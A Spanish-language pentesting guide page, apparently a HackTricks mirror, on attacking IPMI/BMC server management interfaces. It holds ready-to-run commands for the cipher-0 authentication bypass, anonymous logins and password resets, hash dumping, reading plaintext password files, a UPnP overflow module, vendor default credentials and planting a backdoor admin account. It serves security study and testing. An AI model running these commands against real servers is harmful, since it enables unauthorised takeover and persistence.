mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 14:10:41 +00:00
147 lines
11 KiB
Markdown
147 lines
11 KiB
Markdown
# 623/UDP/TCP - IPMI
|
|
|
|
## 623/UDP/TCP - IPMI
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Información Básica
|
|
|
|
### **Descripción General de IPMI**
|
|
|
|
**[Interfaz de Gestión de Plataforma Inteligente (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** ofrece un enfoque estandarizado para la gestión y monitoreo remoto de sistemas informáticos, independiente del sistema operativo o estado de energía. Esta tecnología permite a los administradores de sistemas gestionar sistemas de forma remota, incluso cuando están apagados o no responden, y es especialmente útil para:
|
|
|
|
- Configuraciones previas al arranque del sistema operativo
|
|
- Gestión de apagado
|
|
- Recuperación de fallos del sistema
|
|
|
|
IPMI es capaz de monitorear temperaturas, voltajes, velocidades de ventiladores y fuentes de alimentación, además de proporcionar información de inventario, revisar registros de hardware y enviar alertas a través de SNMP. Esencial para su funcionamiento son una fuente de energía y una conexión LAN.
|
|
|
|
Desde su introducción por Intel en 1998, IPMI ha sido respaldado por numerosos proveedores, mejorando las capacidades de gestión remota, especialmente con el soporte de la versión 2.0 para serie sobre LAN. Los componentes clave incluyen:
|
|
|
|
- **Controlador de Gestión de Placa Base (BMC):** El microcontrolador principal para las operaciones de IPMI.
|
|
- **Buses y Interfaces de Comunicación:** Para comunicación interna y externa, incluyendo ICMB, IPMB y varias interfaces para conexiones locales y de red.
|
|
- **Memoria IPMI:** Para almacenar registros y datos.
|
|
|
|
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
|
|
|
**Puerto Predeterminado**: 623/UDP/TCP (Normalmente está en UDP, pero también podría estar funcionando en TCP)
|
|
|
|
## Enumeración
|
|
|
|
### Descubrimiento
|
|
```bash
|
|
nmap -n -p 623 10.0.0./24
|
|
nmap -n-sU -p 623 10.0.0./24
|
|
use auxiliary/scanner/ipmi/ipmi_version
|
|
```
|
|
Puedes **identificar** la **versión** usando:
|
|
```bash
|
|
use auxiliary/scanner/ipmi/ipmi_version
|
|
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
|
```
|
|
### Vulnerabilidades de IPMI
|
|
|
|
En el ámbito de IPMI 2.0, se descubrió un defecto de seguridad significativo por Dan Farmer, exponiendo una vulnerabilidad a través de **cipher type 0**. Esta vulnerabilidad, documentada en detalle en [la investigación de Dan Farmer](http://fish2.com/ipmi/cipherzero.html), permite el acceso no autorizado con cualquier contraseña siempre que se apunte a un usuario válido. Esta debilidad se encontró en varios BMC de fabricantes como HP, Dell y Supermicro, lo que sugiere un problema generalizado en todas las implementaciones de IPMI 2.0.
|
|
|
|
### **Bypass de Autenticación de IPMI a través de Cipher 0**
|
|
|
|
Para detectar este defecto, se puede emplear el siguiente escáner auxiliar de Metasploit:
|
|
```bash
|
|
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
|
```
|
|
La explotación de esta falla es alcanzable con `ipmitool`, como se demuestra a continuación, lo que permite la enumeración y modificación de contraseñas de usuario:
|
|
```bash
|
|
apt-get install ipmitool # Installation command
|
|
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
|
|
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
|
|
```
|
|
### **Recuperación de Hash de Contraseña Remota de Autenticación RAKP de IPMI 2.0**
|
|
|
|
Esta vulnerabilidad permite la recuperación de contraseñas hasheadas con sal (MD5 y SHA1) para cualquier nombre de usuario existente. Para probar esta vulnerabilidad, Metasploit ofrece un módulo:
|
|
```bash
|
|
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
|
```
|
|
### **Autenticación Anónima de IPMI**
|
|
|
|
Una configuración predeterminada en muchos BMC permite el acceso "anónimo", caracterizado por cadenas de nombre de usuario y contraseña nulas. Esta configuración puede ser explotada para restablecer contraseñas de cuentas de usuario nombradas utilizando `ipmitool`:
|
|
```bash
|
|
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
|
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
|
|
```
|
|
### **Supermicro IPMI Contraseñas en texto claro**
|
|
|
|
Una elección de diseño crítica en IPMI 2.0 requiere el almacenamiento de contraseñas en texto claro dentro de los BMC para fines de autenticación. El almacenamiento de estas contraseñas por parte de Supermicro en ubicaciones como `/nv/PSBlock` o `/nv/PSStore` plantea preocupaciones de seguridad significativas:
|
|
```bash
|
|
cat /nv/PSBlock
|
|
```
|
|
### **Vulnerabilidad UPnP de Supermicro IPMI**
|
|
|
|
La inclusión de un oyente SSDP UPnP en el firmware IPMI de Supermicro, particularmente en el puerto UDP 1900, introduce un grave riesgo de seguridad. Las vulnerabilidades en el SDK de Intel para Dispositivos UPnP versión 1.3.1, como se detalla en la [divulgación de Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), permiten el acceso root al BMC:
|
|
```bash
|
|
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
|
```
|
|
### Fuerza Bruta
|
|
|
|
**HP aleatoriza la contraseña predeterminada** para su producto **Integrated Lights Out (iLO)** durante la fabricación. Esta práctica contrasta con otros fabricantes, que tienden a usar **credenciales predeterminadas estáticas**. A continuación se presenta un resumen de los nombres de usuario y contraseñas predeterminados para varios productos:
|
|
|
|
- **HP Integrated Lights Out (iLO)** utiliza una **cadena aleatoria de 8 caracteres** como su contraseña predeterminada, mostrando un nivel de seguridad más alto.
|
|
- Productos como **iDRAC de Dell, IMM de IBM** y **Controlador de Gestión Remota Integrado de Fujitsu** utilizan contraseñas fácilmente adivinables como "calvin", "PASSW0RD" (con un cero) y "admin" respectivamente.
|
|
- De manera similar, **Supermicro IPMI (2.0), Oracle/Sun ILOM** y **ASUS iKVM BMC** también utilizan credenciales predeterminadas simples, con "ADMIN", "changeme" y "admin" sirviendo como sus contraseñas.
|
|
|
|
## Accediendo al Host a través de BMC
|
|
|
|
El acceso administrativo al Controlador de Gestión de Placa Base (BMC) abre diversas vías para acceder al sistema operativo del host. Un enfoque sencillo implica explotar la funcionalidad de Teclado, Video, Ratón (KVM) del BMC. Esto se puede hacer reiniciando el host a un shell root a través de GRUB (usando `init=/bin/sh`) o arrancando desde un CD-ROM virtual configurado como disco de rescate. Tales métodos permiten la manipulación directa del disco del host, incluyendo la inserción de puertas traseras, extracción de datos o cualquier acción necesaria para una evaluación de seguridad. Sin embargo, esto requiere reiniciar el host, lo cual es una desventaja significativa. Sin reiniciar, acceder al host en ejecución es más complejo y varía según la configuración del host. Si la consola física o serie del host permanece conectada, puede ser fácilmente tomada a través de las funcionalidades KVM o serial-over-LAN (sol) del BMC mediante `ipmitool`. Explorar la explotación de recursos de hardware compartidos, como el bus i2c y el chip Super I/O, es un área que requiere más investigación.
|
|
|
|
## Introduciendo Puertas Traseras en BMC desde el Host
|
|
|
|
Al comprometer un host equipado con un BMC, se puede **aprovechar la interfaz local del BMC para insertar una cuenta de usuario de puerta trasera**, creando una presencia duradera en el servidor. Este ataque requiere la presencia de **`ipmitool`** en el host comprometido y la activación del soporte del controlador BMC. Los siguientes comandos ilustran cómo se puede inyectar una nueva cuenta de usuario en el BMC utilizando la interfaz local del host, lo que elude la necesidad de autenticación. Esta técnica es aplicable a una amplia gama de sistemas operativos, incluyendo Linux, Windows, BSD e incluso DOS.
|
|
```bash
|
|
ipmitool user list
|
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|
2 ADMIN true false false Unknown (0x00)
|
|
3 root true false false Unknown (0x00)
|
|
|
|
ipmitool user set name 4 backdoor
|
|
ipmitool user set password 4 backdoor
|
|
ipmitool user priv 4 4
|
|
ipmitool user list
|
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|
2 ADMIN true false false Unknown (0x00)
|
|
3 root true false false Unknown (0x00)
|
|
4 backdoor true false true ADMINISTRATOR
|
|
```
|
|
## Shodan
|
|
|
|
* `port:623`
|
|
|
|
## Referencias
|
|
|
|
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
|
|
|
{% hint style="success" %}
|
|
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Apoya a HackTricks</summary>
|
|
|
|
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
|
|
|
</details>
|
|
{% endhint %}
|